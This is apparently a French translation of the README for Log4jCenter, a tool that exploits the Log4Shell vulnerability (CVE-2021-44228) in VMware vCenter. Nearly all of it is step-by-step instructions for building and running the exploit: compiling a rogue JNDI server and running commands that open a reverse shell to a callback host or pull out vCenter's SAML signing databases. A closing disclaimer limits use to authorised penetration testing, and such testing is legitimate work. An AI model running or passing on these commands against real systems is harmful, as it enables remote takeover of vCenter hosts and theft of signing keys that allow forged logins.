
Exploitation de CVE-2021-44228 dans vCenter pour exécution de code à distance et plus.
Exploiter CVE-2021-44228 dans vCenter pour l'exécution de code à distance et plus encore. Article de blog détaillant l'exploitation ci-dessous :
Les preuves de concept pour cette vulnérabilité sont éparpillées et doivent être réalisées manuellement. Ce dépôt automatise le processus d'exploitation et présente une voie d'attaque supplémentaire possible après l'exploitation.
Pour télécharger et exécuter l'exploit manuellement, suivez les étapes suivantes. Assurez-vous d'abord que Java et Maven sont installés sur votre machine d'attaque. Pour ce faire avec apt sur les systèmes d'exploitation basés sur Debian, exécutez la commande suivante :
apt update && apt install openjdk-11-jre maven
Clonez le dépôt GitHub et installez toutes les dépendances Python :
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jCenter \
&& cd Log4jCenter && pip3 install -r requirements.txt
Depuis la racine du dépôt Log4jCenter, compilez le projet Rogue-Jndi avec la commande ci-dessous :
mvn package -f utils/rogue-jndi/
Assurez-vous d'abord que Docker est installé sur votre machine d'attaque. (Je ne vais pas vous guider pas à pas pour cela)
Ensuite, exécutez la commande suivante pour cloner le dépôt et construire l'image Docker que nous utiliserons.
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jCenter \
&& cd Log4jCenter && docker build -t log4jcenter .
Pour exécuter le conteneur, lancez une commande similaire à celle ci-dessous avec vos options de ligne de commande. Par exemple, la commande suivante serait utilisée pour exploiter vCenter et obtenir un reverse shell. Notez que le conteneur ne capturera pas le reverse shell. Vous devez créer un écouteur ncat dans une session shell séparée :
docker run -it -v $(pwd)/loot:/Log4jCenter/loot -p 8090:8090 -p 1389:1389 log4jcenter \
-t 10.100.100.1 -i 192.168.1.1 -p 4444 -r
usage: exploit.py [-h] -t IP -i CALLBACK [-p PORT] [-e] [-r]
optional arguments:
-h, --help show this help message and exit
-t IP, --target IP vCenter Host IP
-i CALLBACK, --ip CALLBACK
Callback IP for payload delivery and reverse shell.
-p PORT, --port PORT Callback port for reverse shell.
-e, --exfiltrate Module to pull SAML DB
-r, --revshell Module to establish reverse shell
Obtenez un reverse shell en utilisant l'outil installé sur votre système local :
python3 exploit.py -t vcenter.acme.com -i 10.10.10.1 -p 4444 -r
Exfiltrez les bases de données de signature SAML depuis un conteneur Docker :
docker run -it -v $(pwd)/loot:/Log4jCenter/loot -p 1389:1389 -p 8090:8090 log4jcenter \
-t 10.100.100.1 -i 192.168.1.1 -e
Cet outil est conçu pour être utilisé lors de tests de pénétration ; l'utilisation de cet outil pour attaquer des cibles sans consentement mutuel préalable est illégale. Il est de la responsabilité de l'utilisateur final de respecter toutes les lois locales, étatiques et fédérales applicables. Les développeurs déclinent toute responsabilité et ne sont pas responsables de toute utilisation abusive de ce programme.